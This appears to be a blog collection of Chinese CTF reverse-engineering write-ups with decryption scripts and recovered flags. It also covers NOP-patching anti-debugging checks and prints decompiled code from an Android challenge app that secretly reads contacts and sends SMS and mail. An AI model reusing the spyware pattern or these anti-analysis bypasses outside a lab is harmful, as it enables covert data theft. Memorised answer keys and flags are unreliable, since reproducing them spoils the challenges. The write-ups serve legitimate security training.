举个例子,上面的输出所有行成对来看,第一行为INDIRECT P-code指令,第二行为序列号为0x454的指令。上面的例子可以说明,0x4016C0这个函数的调用可能会导致(ram, 0x6020c4, 4)(stack, 0xffffffffffffff68, 1)等Varnode的值发生改变。有读者可能会问,为什么一个函数调用会修改局部变量的值?这实际上是一种过拟合,INDIRECT只是进行了指示,并不是说这个值在函数调用后一定会发生改变。

生成上述输出的Script代码片段在下面给出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
for (Address addr: hFunction.getFunction().getBody().getAddresses(true)) {

Iterator<PcodeOpAST> iter = hFunction.getPcodeOps(addr);
if (iter.hasNext()) {
printf("Address: %#x\n", addr.getOffset());
while (iter.hasNext()) {
PcodeOpAST op = iter.next();
if (op.getOpcode() == PcodeOp.INDIRECT) {
SequenceNumber sn = new SequenceNumber(addr, (int) op.getInput(1).getOffset());
println("INDIRECT: " + hFunction.getPcodeOp(sn).toString());
}
println(op.toString());
}
}
}

OK,现在我们已经知道,INDIRECT指令只不过是指示函数调用对Varnode可能产生的影响。但前面我们已经分析得到了所有的只读不写全局变量。如果INDIRECT指令的输出是这些全局变量中的一个,我们实际上完全可以将其忽略不计。因此在梳理计算过程的树数据结构时,当到达INDIRECT时,就可以停止递归了。

在树数据结构梳理完成,计算完成后,就可以考虑如何对程序本身的汇编代码进行修改了。

在本题中,所有相关的假分支都是通过cmovxx实现的,但是此类指令已经全部被控制流平坦化修改为jnzjmp指令了。

如下面的示例,控制流平坦化解混淆前:

1
2
3
4
5
6
7
8
0040101e 41  0f  9c  c1    SETL       R9B
00401022 45 08 c8 OR R8B ,R9B
00401025 41 f6 c0 01 TEST R8B ,0x1
00401029 0f 45 c1 CMOVNZ iVar1 ,ECX
0040102c 89 85 6c MOV dword ptr [RBP + local_9c ],iVar1 ; update state var, OK to be deleted
ff ff ff
00401032 e9 ac 02 JMP LAB_004012e3
00 00

解混淆后:

1
2
3
4
5
6
7
8
9
10
0040101e 41  0f  9c  c1    SETL       R9B
00401022 45 08 c8 OR R8B ,R9B
00401025 41 f6 c0 01 TEST R8B ,0x1
00401029 75 0c JNZ LAB_00401037
0040102b 66 e9 86 02 JMP LAB_004012b5
0040102f ff ?? FFh
00401030 ff ?? FFh
00401031 ff ?? FFh
00401032 e9 ac 02 JMP LAB_004012e3
00 00

由于jnz条件已知,因此只需要将其修改为nop(条件不满足)或jmp(条件满足)即可。

最终的脚本:脚本链接

buu001-easyre

直接用IDA打开,main函数里面就是。

buu002-reverse1

用IDA打开通过输出字符串定位到输入部分,flag在字符串中直接就有。

buu003-reverse2

用IDA打开,这是一个Linux ELF文件,在main函数中首先把flag里面的i和r替换成1就行了。

buu004-内涵的软件

用IDA打开,把DBAPP改成flag就行了。

buu005-新年快乐

这道题是使用了UPX进行了压缩加壳,只需要用UPX工具解压即可得到flag。

UPX使用方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
PS E:\...\upx-4.0.2-win64> .\upx.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2023
UPX 4.0.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 30th 2023

Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file..

Commands:
-1 compress faster -9 compress better
-d decompress -l list compressed file
-t test compressed file -V display version number
-h give more help -L display software license
Options:
-q be quiet -v be verbose
-oFILE write output to 'FILE'
-f force compression of suspicious files
-k keep backup files
file.. executables to (de)compress

Type 'upx --help' for more detailed help.

UPX comes with ABSOLUTELY NO WARRANTY; for details visit https://upx.github.io

buu006-xor

这道题进行了一个简单的异或操作,将前一个字符与后一个字符异或。

解密脚本:

1
2
3
4
5
6
7
cipher = '\x66\x0A\x6B\x0C\x77\x26\x4F\x2E\x40\x11\x78\x0D\x5A\x3B\x55\x11\x70\x19\x46\x1F\x76\x22\x4D\x23\x44\x0E\x67\x06\x68\x0F\x47\x32\x4F'
plaintext = ['f']

for i in range(len(cipher) - 1):
plaintext.append(chr(ord(cipher[i]) ^ ord(cipher[i+1])))

print(''.join(plaintext))

buu007-helloword

这道题是一个apk文件的逆向,可以使用Jadx的Intellij插件进行反编译,直接获得flag。

buu008-reverse3

这道题是一个base64编码程序,实际上不需要对代码进行全部逆向分析,只需要通过动态调试即可得知。在编码之后,程序还进行了另一种处理:对索引为x的字节的ASCII码加x,然后与事先保存的字符串比较。可写出下列解密程序:

1
2
3
4
5
6
7
8
9
10
11
import base64

cipher = 'e3nifIH9b_C@n@dH'
dec_1 = []

for i in range(len(cipher)):
dec_1.append(chr(ord(cipher[i]) - i))

dec_1 = ''.join(dec_1)

print(base64.b64decode(dec_1))

buu009-不一样的flag

走迷宫。按照0的路线走即可。

1
2
3
4
5
#1111
01000
01010
00010
1111#

buu010-SimpleRev

一个简单的转换。python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
key = 'adsfkndcls'
text = 'killshadow'
answer = [] * 10
k = 10
for i in range(10):
for j in range(128):
if not (0x40 < j <= 0x40 + 26 or 0x60 < j <= 0x60 + 26):
continue
if chr((j - 39 - ord(key[k % 10]) + 97) % 26 + 97) == text[i] and (0x40 < j <= 0x40+26):
answer.append(chr(j))
k += 1
break
print(''.join(answer))

buu011-Java逆向解密

用Intellij反编译class文件,一个简单的字节加密。

buu012-[GXYCTF2019]luck_guy

脚本:

1
2
3
4
5
6
7
8
9
former = 'GXY{do_not_'
x = 'icug`of\x7F'
t = [] * 8
for i in range(len(x)):
if(i % 2 == 1):
t.append(chr(ord(x[i]) - 2))
else:
t.append(chr(ord(x[i]) - 1))
print(former + ''.join(t))

buu013-[BJDCTF2020]JustRE

要点19999次才能获得flag,用Shift+F12直接找到flag。

buu014-刮开有奖

这道题的DialogFunc函数里面有一个sub_4010F0函数,里面对一个长度为10的数组进行了处理,直接把伪代码拷到Dev里面执行得到结果,下面还有一个是base64编码,然后可以根据判断条件把flag拼出来。

buu015-简单注册器

直接用jadx打开,把flag生成的代码直接复制到Java执行即可。

buu016-[GWCTF 2019]pyre

这是一个pyc的python字节码逆向,安装undecompyle进行反编译。
undecompyle x.pyc > x.py
然后逆向解密即可。

buu017-[ACTF新生赛2020]easyre

又是一个UPX加壳,直接脱壳逆向。

1
2
3
4
5
6
7
8
9
x = "*F'\"N,\"(I?+@"
data = '~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)(\'&%$# !"'
answer = ['A', 'C', 'T', 'F', '{']
for i in range(12):
for j in range(1, len(data) + 1):
if x[i] == data[j - 1]:
answer.append(chr(j))
answer.append('}')
print(''.join(answer))

buu018-findit

jadx反编译。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class main {  
public static void main(String[] args) {
final char[] a = {'T', 'h', 'i', 's', 'I', 's', 'T', 'h', 'e', 'F', 'l', 'a', 'g', 'H', 'o', 'm', 'e'};
final char[] b = {'p', 'v', 'k', 'q', '{', 'm', '1', '6', '4', '6', '7', '5', '2', '6', '2', '0', '3', '3', 'l', '4', 'm', '4', '9', 'l', 'n', 'p', '7', 'p', '9', 'm', 'n', 'k', '2', '8', 'k', '7', '5', '}'};
char[] x = new char[17];
char[] y = new char[38];
for (int i = 0; i < 17; i++) {
if ((a[i] < 'I' && a[i] >= 'A') || (a[i] < 'i' && a[i] >= 'a')) {
x[i] = (char) (a[i] + 18);
} else if ((a[i] < 'A' || a[i] > 'Z') && (a[i] < 'a' || a[i] > 'z')) {
x[i] = a[i];
} else {
x[i] = (char) (a[i] - '\b');
}
}
for (int i2 = 0; i2 < 38; i2++) {
if ((b[i2] < 'A' || b[i2] > 'Z') && (b[i2] < 'a' || b[i2] > 'z')) {
y[i2] = b[i2];
} else {
y[i2] = (char) (b[i2] + 16);
if ((y[i2] > 'Z' && y[i2] < 'a') || y[i2] >= 'z') {
y[i2] = (char) (y[i2] - 26);
}
}
}
System.out.println(y);
}
}

buu019-rsa

一道crypto的题,用yafu可以分解他给的公钥,然后解密。

buu020-[ACTF新生赛2020]rome

首先用UPX脱壳,然后逆向就行了,就是一个凯撒加密。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
tar = 'Qsw3sj_lz4_Ujw@l'
answer = []
for i in range(16):
for j in range(128):
k = 0
if 64 < j <= 90:
k = (j - 51) % 26 + 65
elif 96 < j <= 122:
k = (j - 79) % 26 + 97
else:
k = j
if k == ord(tar[i]):
answer.append(chr(j))
break
print(''.join(answer))

buu021-[FlareOn4]login

还是凯撒加密,不过是JS代码审计。位移13位。

buu022-CrackRTF

这题进行了2次哈希,第1次是SHA哈希,第2次是MD5哈希。第1次只能输入整数,第2次输入不限,对第2次输入的暴力可能需要的时间比较长。

buu023-[WUSTCTF2020]level1

直接逆,不解释了。

1
2
3
4
5
6
7
output = [198, 232, 816, 200, 1536, 300, 6144, 984, 51200, 570, 92160, 1200, 565248, 756, 1474560, 800, 6291456, 1782, 65536000]
for i in range(len(output)):
if i & 1 == 0:
output[i] >>= i+1
else:
output[i] //= i+1
print(''.join([chr(o) for o in output]))

buu024-[GUET-CTF2019]re

这题可以使用Detect It Easy工具检测到UPX加壳,然后脱壳逆向。
不知道为什么flag里面有一个字节不给,还得爆破。
flag{e165421110ba03099a1c039337}

buu025-[2019红帽杯]easyRE

这题是一个Linux静态编译的文件,关键就是要理清楚一些库函数的功能。

1
2
3
4
5
6
7
8
9
while ( v3 < v5 - 2 )
{
*(_BYTE *)(v7 + v3) = alphabet[(unsigned __int8)a1[v4] >> 2];
*(_BYTE *)(v7 + v3 + 1LL) = alphabet[(16 * (a1[v4] & 3)) | ((unsigned __int8)a1[v4 + 1] >> 4)];
*(_BYTE *)(v7 + v3 + 2LL) = alphabet[(4 * (a1[v4 + 1] & 0xF)) | ((unsigned __int8)a1[v4 + 2] >> 6)];
*(_BYTE *)(v7 + v3 + 3LL) = alphabet[a1[v4 + 2] & 0x3F];
v4 += 3;
v3 += 4;
}

sub_0x400E44函数里面找到上面这块代码,明显能看出是用来base64编码的,因此改名为base64_encode

然后在main函数里面找到这段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 v18 = __readfsqword(0x28u);
qmemcpy(secret, "Iodl>Qnb(ocy", 12);
secret[12] = 0x7F;
qmemcpy(&secret[13], "y.i", 3);
secret[16] = 0x7F;
qmemcpy(&secret[17], "d`3w}wek9{iy=~yL@EC", 19);
memset(input, 0, sizeof(input));
read(0LL, input, 0x25uLL);
input[36] = 0;
LODWORD(v0) = strlen(input);
if ( v0 == 36 )
{
for ( i = 0; ; ++i )
{
LODWORD(v1) = strlen(input);
if ( i >= v1 )
break;
if ( (unsigned __int8)(input[i] ^ i) != secret[i] )
goto LABEL_9;
}
...
}

就是一个字符串解密,用下面的脚本进行解密:

1
2
3
4
5
6
7
secret = 'Iodl>Qnb(ocy\x7fy.i\x7fd`3w}wek9{iy=~yL@EC'
plaintext = ''

for i in range(len(secret)):
plaintext += chr(ord(secret[i]) ^ i)

print(plaintext)

得到字符串为:Info:The first four chars are flag

这个是第一步,然后还有第二步,第二步看似是一个base64,编码编了10层之后出来一个网址,但这个网址是骗人的,flag在其他的地方。

https://bbs.kanxue.com/thread-254172.htm

在0x6CC0A0处还发现了一个可疑的东西,可能与flag有关系。这个东西在sub_400D35里面被引用了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 sub_400D35()
{
unsigned __int64 result; // rax
unsigned int v1; // [rsp+Ch] [rbp-24h]
int i; // [rsp+10h] [rbp-20h]
int j; // [rsp+14h] [rbp-1Ch]
unsigned int v4; // [rsp+24h] [rbp-Ch]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
v1 = time(0LL) - qword_6CEE38;
for ( i = 0; i <= 1233; ++i )
{
sub_40F790(v1);
sub_40FE60();
sub_40FE60();
v1 = sub_40FE60() ^ 0x98765432;
}
v4 = v1;
if ( ((unsigned __int8)v1 ^ real_secret[0]) == 'f' && (HIBYTE(v4) ^ real_secret[3]) == 'g' )
{
for ( j = 0; j <= 24; ++j )
sub_410E90((unsigned __int8)(real_secret[j] ^ *((_BYTE *)&v4 + j % 4)));
}
result = __readfsqword(0x28u) ^ v5;
if ( result )
sub_444020();
return result;
}

这里面判断了第一个字母和第四个字母,由此可以发现这个加密的原理。

1
2
3
4
5
6
7
8
__int64 sub_4009AE()
{
__int64 result; // rax

result = time(0LL);
qword_6CEE38 = result;
return result;
}

qword_6CEE38这个变量只在两个地方被引用,发现其值就是time(0),因此v1的值应该是0才对。实际上我们根本就不用管上面的逻辑,看if语句就可以知道v1和v4的值应该是什么。

v1=0x26,HIBYTE(v4)=0x31。

后面有个for循环,以4个字节为循环,将real_secret中的内容与v4异或。因为前4个字节是flag,所以v4的值实际上可以获取到,为0x31415926,还是个挺吉利的数字。然后我们就可以写脚本拿到真正的flag了:

1
2
3
4
5
6
7
8
secret = '@5 V]\x18"E\x17/$nb<\x27THl$nr<2E['
mask = '\x26\x59\x41\x31'
plaintext = ''

for i in range(len(secret)):
plaintext += chr(ord(secret[i]) ^ ord(mask[i%4]))

print(plaintext)

拿到flag:flag{Act1ve_Defen5e_Test}

buu026-[MRCTF2020]Transform

这题逻辑挺简单,就是一个简单的加密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __cdecl main(int argc, const char **argv, const char **envp)
{
char Str[104]; // [rsp+20h] [rbp-70h] BYREF
int j; // [rsp+88h] [rbp-8h]
int i; // [rsp+8Ch] [rbp-4h]

sub_402230();
printf("Give me your code:\n");
scanf("%s", Str);
if ( strlen(Str) != 33 )
{
printf("Wrong!\n");
system("pause");
exit(0);
}
for ( i = 0; i <= 32; ++i )
{
input[i] = Str[mask[i]];
input[i] ^= LOBYTE(mask[i]);
}
for ( j = 0; j <= 32; ++j )
{
if ( cipher[j] != input[j] )
{
printf("Wrong!\n");
system("pause");
exit(0);
}
}
printf("Right!Good Job!\n");
printf("Here is your flag: %s\n", Str);
system("pause");
return 0;
}

直接上脚本:

1
2
3
4
5
6
7
8
9
10
11
mask = [9, 0x0a, 0x0f, 0x17, 7, 0x18, 0x0c, 6, 1, 0x10, 3, 0x11, 0x20, 0x1d, 0x0b, 0x1e, 0x1b, 0x16, 4, 0x0d, 0x13, 0x14, 0x15, 2, 0x19, 5, 0x1f, 8, 0x12, 0x1a, 0x1c, 0x0e, 0]

cipher = 'gy{\x7fu+<RSyW^]B{-*fB~LWyAk~e<\\EobM'
plaintext = ['a'] * len(mask)

for i in range(len(mask)):
c = ord(cipher[i])
c ^= mask[i]
plaintext[mask[i]] = chr(c)

print(''.join(plaintext))

结果MRCTF{TrEnsp0sltiON_Clph3r_1s_3z},buu平台要改成flag开头。

buu027-[WUSTCTF2020]level2

这题用detect it easy扫出来也是upx加壳的,脱一下就拿到了。

buu028-[SUCTF2019]SignIn

这题就是纯纯的密码题,把输入转成大数i,给e、m、r,求i使得(i^e)%m=r。复习一下残缺不全的密码学知识…

根据欧拉定理:xφ(y)1(mody)x^{\varphi(y)}\equiv 1\pmod y

模数的两个因数分别为282164587459512124844245113950593348271366669102002966856876605669837014229419

ed1(mod(u1)(v1))ed\equiv 1\pmod {(u-1)(v-1)},用扩展欧几里得来算。

1
2
3
4
5
6
7
8
9
10
11
12
import gmpy2

if __name__ == '__main__':
m = 103461035900816914121390101299049044413950405173712170434161686539878160984549
u = 282164587459512124844245113950593348271
v = 366669102002966856876605669837014229419
e = 65537
cipher = 0xad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35

d = gmpy2.invert(e, (u-1)*(v-1))
print(d)
print(bytes.fromhex(hex(pow(cipher, d, m))[2:]).decode())

suctf{Pwn_@_hundred_years}

FSSID:HIGDDEN_HOHTPOT PPASS:L0GIC_ANA1YSIS_CAN_FOR_FUN FSSID:HIGDDEN_HOHTPOT PPASS:L0QGIC_ANAR1YSIS_CSAN_FOR_TFUN

buu029-[ACTF新生赛2020]usualCrypt

这题实现了一个类似于base64的加密算法,3个字节输入,4个字节输出。从输出可知一共有27字节输入。进行类base64加密之后又翻转了大小写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
cipher = 'zMXHz3TIgnxLxJhFAdtZn2fFk3lYCrtPC2l9'
alphabet = 'ABCDEFQRSTUVWXYPGHIJKLMNOZabcdefghijklmnopqrstuvwxyz0123456789+/'
plaintext = ''

def find_char(c):
for i in range(len(alphabet)):
if c == alphabet[i]:
return i
return -1

if __name__ == '__main__':
'''
input[0~2], output[0~3]
(input[0]>>2) & 0x3F -> output[0]
16 * (input[0] & 3) + (input[1] >> 4) & 0xF -> output[1]
4 * (input[1] & 0xF) + (input[2] >> 6) & 3 -> output[2]
input[2] & 0x3F -> output[3]

input[0] = output[0] << 2 + output[1] & 3
0 1 2 3 4 5
0 0.2 0.3 0.4 0.5 0.6 0.7
1 1.4 1.5 1.6 1.7 0.0 0.1
2 2.6 2.7 1.0 1.1 1.2 1.3
3 2.0 2.1 2.2 2.3 2.4 2.5
'''
cipher2 = ''
for i in cipher:
if i.isalpha():
cipher2 += chr(ord(i) ^ 0x20)
else:
cipher2 += i
cipher = cipher2
print(cipher2)
for i in range(len(cipher) // 4):
plaintext += chr((find_char(cipher[i * 4]) << 2) + (find_char(cipher[i * 4 + 1]) >> 4))
plaintext += chr(((find_char(cipher[i * 4 + 1]) & 0xF) << 4) + (find_char(cipher[i * 4 + 2]) >> 2))
plaintext += chr(((find_char(cipher[i * 4 + 2]) & 0x3) << 6) + find_char(cipher[i * 4 + 3]))
print(plaintext)

flag{bAse64_h2s_a_Surprise}

buu030-[HDCTF2019]Maze

这道题首先用upx脱壳,然后发现操作很简单,就是wasd走迷宫,但是不要忽略程序里面有一个70字节的地图,如果不给地图直接走迷宫有很多种走法能到终点,但flag只有一个,所以必须按照迷宫的走法来走。

1
2
3
4
5
6
7
*******+**
******* **
**** **
** *****
** **F****
** ****
**********

flag{ssaaasaassdddw}

buu031-[MRCTF2020]Xor

一个简单的异或。

1
2
3
4
5
cipher = 'MSAWB~FXZ:J:`tQJ"N@ bpdd}8g'
plaintext = ''
for i in range(0x1B):
plaintext += chr(ord(cipher[i]) ^ i)
print(plaintext)

MRCTF{@_R3@1ly_E2_R3verse!}

buu032-[MRCTF2020]hello_world_go

开盖即送,但这是一个go写的程序,也值得进行分析。这里保留这个程序待后续分析。

flag{hello_world_gogogo}

buu033-Youngter-drive

这个程序首先一开始打不开,说缺少MSVCR100D.dll,这个在网上下一个就行了。然后双击一打开就死掉,用命令行打开发现会输出两个WARNING字符串,然后进入IDA查找相关字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
BOOL sub_411460()
{
size_t v0; // eax
BOOL i; // [esp+D0h] [ebp-24Ch]
HANDLE hSnapshot; // [esp+DCh] [ebp-240h]
PROCESSENTRY32W pe; // [esp+E8h] [ebp-234h] BYREF

pe.dwSize = 556;
hSnapshot = j_CreateToolhelp32Snapshot(2u, 0);
for ( i = j_Process32FirstW(hSnapshot, &pe); i; i = j_Process32NextW(hSnapshot, &pe) )
{
v0 = wcslen(pe.szExeFile);
wcslwr_s(pe.szExeFile, v0 + 1);
if ( !wcscmp(pe.szExeFile, L"ollyice.exe") )
{
printf("///////WARNING///////\n");
exit(0);
}
if ( !wcscmp(pe.szExeFile, L"ollydbg.exe") )
{
printf("///////\nWARNING\n///////\n");
exit(0);
}
if ( !wcscmp(pe.szExeFile, L"peid.exe") )
{
printf("///////\nWARNING\n///////\n");
exit(0);
}
if ( !wcscmp(pe.szExeFile, L"ida.exe") )
{
printf("///////\nWARNING\n///////\n");
exit(0);
}
if ( !wcscmp(pe.szExeFile, L"idaq.exe") )
{
printf("///////\nWARNING\n///////\n");
exit(0);
}
}
return CloseHandle(hSnapshot);
}

在这个函数里面可以发现这个程序有反调试的机制,CreateToolhelp32Snapshot这个WinAPI用于获取指定进程以及这些进程使用的堆、模块和线程的快照,参数传2表示TH32CS_SNAPPROCESS,即系统中快照中的所有进程,他现在拿到了所有进程的快照,然后就一个个遍历。Process32FirstW是返回系统快照中遇到的第一个进程的信息,Process32NextW就是获取下一个进程信息。wcslen是宽字符个数,wcslwr_s是把字符串大写转小写,是wchar_string_lower的缩写。然后下面判断如果进程名是ollyice等5个用于程序分析和调试的程序就会输出WARNING然后退出。一开始程序中一共打印出了2个WARNING,这里只打印出来一个,首先把这个地方的反调试给禁用了再看另外一个在哪。禁用的最简单方式就是全改成nop指令。框选这个函数里面除了retn指令之外的所有指令,然后用keypatch的fill range功能就能一键修改成nop

然后程序就能够正常跑起来了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PS D:\CTF-reverse\buu033-Youngter-drive> .\upxout.exe
1111111111111111111111111111111111111111111111111111111111111111111111111111111
*******************************************************************************
************** ****************************************************
************** ******** ********************* *************
************** ********* ********************* ***************************
************** ********* ********************* ***************************
************** ********* ********************* ***************************
************** ******* ********************** ***************************
************** **** ************************* ***************************
************** * *************************** **************
************** *** ************************* ***************************
************** ****** *********************** ***************************
************** ******** ********************* ***************************
************** ********** ******************* ***************************
************** *********** ***************** *************
*******************************************************************************
1111111111111111111111111111111111111111111111111111111111111111111111111111111
input flag:

找到打印这个banner的函数在sub_411BD0,这个函数只有一个scanf把用户输入保存到了一个全局变量Source里面。这个函数是由main函数直接调用的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
HANDLE Thread; // [esp+D0h] [ebp-14h]
HANDLE hObject; // [esp+DCh] [ebp-8h]

j_banner();
::hObject = CreateMutexW(0, 0, 0);
j_strcpy(Destination, &Source);
hObject = CreateThread(0, 0, StartAddress, 0, 0, 0);
Thread = CreateThread(0, 0, sub_41119F, 0, 0, 0);
CloseHandle(hObject);
CloseHandle(Thread);
while ( dword_418008 != -1 )
;
sub_411190();
CloseHandle(::hObject);
return 0;
}

CreateMutexW创建一个互斥锁,CreateThread创建一个线程。这里查资料发现CreateThread返回的是一个线程句柄,之后是可以立即通过CloseHandle关闭句柄的,因为线程句柄和线程本身的生命周期不同,线程句柄被关闭并不意味着线程立即结束,所以如果一个线程不需要任何干预,在创建之后就关闭句柄即可。第一个线程的函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void __stdcall __noreturn StartAddress_0(int a1)
{
while ( 1 )
{
WaitForSingleObject(hObject, 0xFFFFFFFF);
if ( bytes_remained > -1 )
{
sub_41112C(&Source, bytes_remained);
--bytes_remained;
Sleep(0x64u);
}
ReleaseMutex(hObject);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
// positive sp value has been detected, the output may be wrong!
void __cdecl encrypter(char *buffer, int arg)
{
char byte; // [esp+D3h] [ebp-5h]

byte = buffer[arg];
if ( (byte < 'a' || byte > 'z') && (byte < 'A' || byte > 'Z') )
exit(0);
if ( byte < 'a' || byte > 'z' )
buffer[arg] = Palphabet[0][buffer[arg] - 0x26];
else
buffer[arg] = Palphabet[0][buffer[arg] - 0x60];
}

其中sub_41112C中有这一段处理,规定所有输入只能为字母,然后进行了处理。而另一个线程的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
void __stdcall __noreturn sub_411B10(int a1)
{
while ( 1 )
{
WaitForSingleObject(hObject, 0xFFFFFFFF);
if ( bytes_remained > -1 )
{
Sleep(100u);
--bytes_remained;
}
ReleaseMutex(hObject);
}
}

这两个线程执行完之后,后面进行一次字符串比较,将输入处理后的字符串与TOiZiZtOrYaToUwPnToBsOaOapsyS进行非直接比较。

1
2
3
4
5
6
7
8
9
10
11
int sub_411880()
{
int i; // [esp+D0h] [ebp-8h]

for ( i = 0; i < 29; ++i )
{
if ( *(&Source + i) != off_418004[i] )
exit(0);
}
return printf("\nflag{%s}\n\n", Destination);
}

直接上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
alphabet = 'QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm'
cipher = 'TOiZiZtOrYaToUwPnToBsOaOapsyS'
cipher1 = ''

def find_char(c):
for i in range(len(alphabet)):
if c == alphabet[i]:
return i
return -1

for i in range(29):
if i % 2 == 0:
cipher1 += cipher[i]
continue
if find_char(cipher[i]) <= 26:
cipher1 += chr(find_char(cipher[i]) + 0x60)
else:
cipher1 += chr(find_char(cipher[i]) + 0x26)

print(cipher1)

求出来一个高度疑似flag,但是交上去不对:flag{ThisisthreadofwindowshahaIsES}。于是彻底禁了反调试之后开调。发现输入的字符串处理完之后是这样:

1
2
ThisisthreadofwindowshahaIsES
xhPsPsXhLeWdHfBiGdHwZhWhWIZEz

可见,第2、4、6、…个字符不变,那到底是什么地方出了问题呢?我换了一下处理的奇偶数,然后程序能输出flag,但是那个东西就纯粹拼不出来什么单词了,后来查wp才发现最后还有一位,那这就不是我的问题了。flag{ThisisthreadofwindowshahaIsESE}

buu034-[WUSTCTF2020]level3

一个换了表的base64,看到程序里面有个O_OLookAtYou函数获取换表操作,换完直接解码。

wctf2020{Base64_is_the_start_of_reverse}

buu035-相册

一道Android逆向,用jadx打开后首先看AndroidMenifest.xml。

1
2
3
4
5
6
<activity android:label="@string/app_name" android:icon="@drawable/iocn" android:name="cn.baidujiayuan.ver5304.C1">
<intent-filter>
<category android:name="android.intent.category.LAUNCHER"/>
<action android:name="android.intent.action.MAIN"/>
</intent-filter>
</activity>

找到上面这个项,这里的action是android.intent.action.MAIN,因此确定了apk的入口是cn.baidujiayuan.ver5304.C1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);
A2.log("安装后执行这个");
startService(new Intent(this, M2.class));
readContacts();
SmsManager.getDefault();
((TelephonyManager) getSystemService("phone")).getLine1Number();
A2.sendMsg(C2.phoneNumber, A2.getInstallFlag(this, ""));
try {
new SmsTas("", this).execute(new Integer[0]);
} catch (Exception e) {
A2.log("邮件发送错误");
}
try {
new MailTask("", this).execute(new Integer[0]);
} catch (Exception e2) {
A2.log("邮件发送错误");
}
check();
}

这里面有一个sendMsg方法,疑似是发送邮件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static int sendMailByJavaMail(String mailto, String title, String mailmsg) {
if (!debug) {
Mail m = new Mail(C2.MAILUSER, C2.MAILPASS);
m.set_host(C2.MAILHOST);
m.set_port(C2.PORT);
m.set_debuggable(true);
m.set_to(new String[]{mailto});
m.set_from(C2.MAILFROME);
m.set_subject(title);
m.setBody(mailmsg);
try {
if (m.send()) {
Log.i("IcetestActivity", "Email was sent successfully.");
} else {
Log.i("IcetestActivity", "Email was sent failed.");
}
} catch (Exception e) {
Log.e("MailApp", "Could not send email", e);
}
}
return 1;
}

这是在A2中发现的发送邮件的方法,其中有个MAILSERVER,定位一下:

1
public static final String MAILSERVER = Base64.decode(NativeMethod.m());

是个Base64解码,不过解码的东西是NativeMethod.m()

在lib目录里面的libcore.so里面找到了东西。能找到Java_com_net_cn_NativeMethod_m这个函数,然后返回了一个base64值,解码即可。

buu036-[FlareOn4]IgniteMe

简单的windows x86程序,一个加密

1
2
3
4
5
6
7
8
9
10
11
12
13
cipher = [0x0D, 0x26, 0x49, 0x45, 0x2A, 0x17, 0x78, 0x44, 0x2B, 0x6C, 0x5D, 0x5E, 0x45, 0x12, 0x2F, 0x17, 0x2B, 0x44, 0x6F, 0x6E, 0x56, 0x9, 0x5F, 0x45, 0x47, 0x73, 0x26, 0x0A, 0x0D, 0x13, 0x17, 0x48, 0x42, 0x1, 0x40, 0x4D, 0x0C, 0x2, 0x69, 0x0]

crc = 4
plaintext = [0] * 40
idx = 39

while idx >= 0:
plaintext[idx] = crc ^ cipher[idx]
crc = plaintext[idx]
idx -= 1

for i in plaintext[:-1]:
print(chr(i), end="")

flag{R_y0u_H0t_3n0ugH_t0_1gn1t3@flare-on.com}

buu037-[WUSTCTF2020]Cr0ssfun

wctf2020{cpp_@nd_r3verse_@re_fun}

实验室研究需要,有关物联网的一些基础还是需要掌握的。于是开始研究实验室买的STM板子,下面通过一个官方demo进行基础内容的学习。

准备工作

我使用的开发板是STM32F429 Nucleo-144,MCU为STM32F429ZIT6,属于STM32系列中的高性能MCU。从官网查询信息可知,该MCU一共带有2MB的Flash以及256KB的RAM,核心频率可达180MHz。开发板如下图所示。

下面使用Keil进行分析。在官网下载Keil之后安装,UV4目录中有IDE的启动程序UV4.exe以及包管理器PackInstaller.exe。

打开PackInstaller,左边选择Devices可以找到上面的MCU型号,选择后,右边有Packs和Examples。Packs为开发时可能需要的硬件支持包,包含对各类外设的处理等,Examples则是可以直接烧录到开发板上的demo示例。

在Pack一栏,我安装了2个Device Specific包,Generic中则安装有:

  • ARM::CMSIS
  • ARM::CMSIS-Driver
  • ARM::CMSIS-DSP
  • ARM::CMSIS-NN
  • Keil::ARM_Compiler
  • Keil::MDK-Middleware
  • Keil::MDK-Middleware_Graphics

如果需要安装其他包,只需直接点击安装即可,包管理器能够自动分析依赖并将某个包所依赖的所有包全部安装。

在Examples一栏中,前两个就是最简单的亮灯demo。在Install后Copy到某个目录下,使用Keil打开对应的项目文件即可打开demo。

程序分析

